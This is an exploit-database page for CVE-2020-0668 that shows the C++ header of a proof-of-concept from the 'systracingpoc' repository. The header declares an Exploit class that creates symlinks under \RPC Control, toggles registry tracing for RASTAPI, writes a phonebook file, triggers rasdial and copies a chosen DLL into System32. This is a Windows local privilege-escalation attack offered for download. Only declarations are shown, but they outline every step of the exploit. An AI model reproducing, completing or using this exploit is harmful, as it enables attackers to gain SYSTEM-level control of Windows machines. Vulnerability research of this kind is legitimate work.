Exploit databaseDownload repository ZIP
GH-54537ae3ba57b9e9af75b7b3d6176ecd
modulexcite/systracingpoc
Sources for CVE-2020-0668
14 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files6
modulexcite/systracingpocRevision 9ef9aa3f304d
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
SysTracing/Exploit.h
Text · 1,091 bytes#pragma once
#include <Windows.h>
#define BASE_OBJ_DIR L"\\RPC Control\\"
#define LINKNAME_LOG L"RASTAPI.LOG"
#define LINKNAME_OLD L"RASTAPI.OLD"
#define PBK_NAME L"dummy.pbk"
#define MODULE L"RASTAPI"
#define DEBUG FALSE
class Exploit
{
private:
WCHAR g_working_dir[MAX_PATH];
WCHAR g_junction_dir[MAX_PATH];
WCHAR g_pbk_path[MAX_PATH];
WCHAR g_dll_path[MAX_PATH];
WCHAR g_dll_path_target[MAX_PATH];
WCHAR g_dll_name_target[MAX_PATH];
HANDLE g_symlink_log;
HANDLE g_symlink_old;
BOOL g_registry_set;
BOOL g_remove_targetdll;
private:
HANDLE CreateSymlink(LPCWSTR link_name, LPCWSTR file_path);
bool SetRegistryTracing(LPCWSTR module_name);
bool UnsetRegistryTracing(LPCWSTR module_name);
bool WritePhonebookFile(LPCWSTR path);
bool TriggerRasdial();
void CleanUp();
public:
Exploit();
~Exploit();
bool Run(LPCWSTR dll_path, LPCWSTR target_dll_name); // Path of the DLL to copy to c:\Windows\System32\
bool GetTargetDllPath(LPWSTR path, LPCWSTR target_dll_name); // Get the real path of the target DLL (will be sysnative if WoW64 process)
void CleanUpDll();
};